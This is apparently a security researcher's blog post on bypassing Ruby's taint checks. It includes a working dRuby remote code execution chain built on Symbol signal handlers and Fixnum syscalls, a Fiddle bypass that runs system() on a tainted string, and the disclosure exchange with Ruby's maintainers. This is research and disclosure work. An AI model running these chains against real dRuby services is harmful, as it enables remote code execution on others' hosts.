Within this post we’ll have a look at the tainting feature in Ruby and how it fails sometimes.
Tainting
Firstly let’s see what tainting is:
Taint checking is a feature in some computer programming languages, such as Perl and Ruby, designed to increase security by preventing malicious users from executing commands on a host computer. Source: Wikipedia
Basically if some data is tainted certain operations are not allowed with this data anymore.
Background
Quite a while ago I messed with dRuby. In summary dRuby allowed remote syscalls due to Ruby not caring about tainted strings being passed to syscalls. This issue got fixed eventually and the related exploit did not work anymore.
dRuby & tainting recap
dRuby allows to remotely (e.g. via TCP Sockets) call methods in Ruby code running elsewhere. Objects might be passed over the wire as well. Let’s jump right into a dRuby server (Cut and paste from the documetation):
require 'drb/drb'
# The URI for the server to connect to
URI="druby://localhost:8787"
class TimeServer
def get_current_time
return Time.now
end
end
# The object that handles requests on the server
FRONT_OBJECT=TimeServer.new
$SAFE = 1 # disable eval() and friends
DRb.start_service(URI, FRONT_OBJECT)
# Wait for the drb server thread to finish before exiting.
DRb.thread.join
And the corresponding client code:
require 'drb/drb'
SERVER_URI="druby://localhost:8787"
DRb.start_service
timeserver = DRbObject.new_with_uri(SERVER_URI)
puts timeserver.get_current_time
Note the $SAFE = 1
within the server code. This is intended to disallow
tainted Objects from being passed to “dangerous” methods:
$ export LOL=id
$ irb
irb(main):001:0> $SAFE=1
=> 1
irb(main):002:0> system(ENV["LOL"]) # ENV is subject to tainting when $SAFE is set
SecurityError: Insecure operation - system
from (irb):2:in `system'
from (irb):2
from /usr/bin/irb:11:in `<main>'
irb(main):003:0> eval(ENV["LOL"])
SecurityError: Insecure operation - eval
from (irb):3:in `eval'
from (irb):3
from /usr/bin/irb:11:in `<main>'
irb(main):004:0>
dRuby & tainting fails
Unfortunately not all Objects are taintable even tough they provide a taint
method:
irb(main):001:0> "lol".methods.grep /taint/
=> [:taint, :tainted?, :untaint]
irb(main):002:0> a = "lol".taint
=> "lol"
irb(main):003:0> a.tainted?
=> true
irb(main):004:0> :sym.methods.grep /taint/
=> [:taint, :tainted?, :untaint]
irb(main):005:0> a = :sym.taint
=> :sym
irb(main):006:0> a.tainted?
=> false
irb(main):007:0>
Symbols and Fixnums for instance are not taintable at all and this fact is quite useful. Just consider the following example:
irb(main):001:0> $SAFE = 1
=> 1
irb(main):002:0> foo = "puts 'HUHU!'"
=> "puts 'HUHU!'"
irb(main):003:0> foo.taint
=> "puts 'HUHU!'"
irb(main):004:0> eval foo
SecurityError: Insecure operation - eval
from (irb):4:in `eval'
from (irb):4
from /usr/bin/irb:11:in `<main>'
irb(main):005:0> foo = :"puts 'HUHU!'"
=> :"puts 'HUHU!'"
irb(main):006:0> foo.taint
=> :"puts 'HUHU!'"
irb(main):007:0> trap 23, foo
=> "SYSTEM_DEFAULT"
By this we just managed to install a signal handler which will evaluate a Symbol like a string.
In order to reanimate the dRuby issue the following chain can be used:
p = DRbObject.new_with_uri(serveruri)
class << p
undef :send
end
# Install signal handler
p.send(:trap,23,:"define_method :huhu do |code|\nc=code.untaint\neval(c)\nend")
# syscall getpid
pid = p.send(:syscall,39)
# syscall kill
p.send(:syscall,62,pid,23)
# Call the method
p.send(:huhu,"your ruby payload")
In the above case the syscalls for getpid
and kill
just rely on Fixnums
which also cannot be tainted.
More on tainting (CVE-2015-7551 reanimated)
CVE-2015-7551 was about “Unsafe tainted string usage in Fiddle and DL”.
Consider the following example in a version of Ruby which is not vulnerable to CVE-2015-7551:
require 'fiddle'
libc = Fiddle.dlopen('/lib/libc.so.6')
system = Fiddle::Function.new(
libc['system'],
[Fiddle::TYPE_VOIDP],
Fiddle::TYPE_INT
)
$SAFE = 1
a = "echo HUHU".taint
system.call(a)
Running this script results in:
$ ruby fiddle.rb
fiddle.rb:12:in `call': tainted parameter not allowed (SecurityError)
from fiddle.rb:12:in `<main>'
$ ruby fiddle.rb
fiddle.rb:12:in `call': tainted parameter not allowed (SecurityError)
from fiddle.rb:12:in `<main>'
By having in mind that Fixnums are not taintable we can come up with a rather nifty bypass:
require 'fiddle'
libc = Fiddle.dlopen('/lib/libc.so.6')
system = Fiddle::Function.new(
libc['system'],
[Fiddle::TYPE_VOIDP],
Fiddle::TYPE_INT
)
$SAFE = 1
a = "echo HUHU".taint
p = ((a.object_id )<<1) +16
puts "String is at #{p.to_s 16}"
system.call(p)
Now you might wonder about p = ((a.object_id )<<1) +16
. The neat feature of
MRI Ruby (a.k.a. cRuby) is the fact that the object_id
method might be used
to calculate the memory location of a given Object. So ((a.object_id )<<1)
yields the memory location of the String Object a
and sixteen bytes further
we can find the actual string:
$ ruby fiddle2.rb
String is at 28c0a90
HUHU
As p
is a Fixnum, it bypasses the taint checks within Fiddle and is interpreted
as a pointer to a string.
A note on the disclosure
I’ve mailed the above details about dRuby to security@ruby-lang.org. And Matz himself replied with the following:
Thank you for the report. We consider tainting is for fool proof, not for security, thus bugs nor misfeatures in tainting are not considered security issues. Since it easily leads to misunderstanding (along with other issues e.g. JRuby does not support tainting), CRuby is dropping support for tainting.
I’ll just leave this statement here as it is.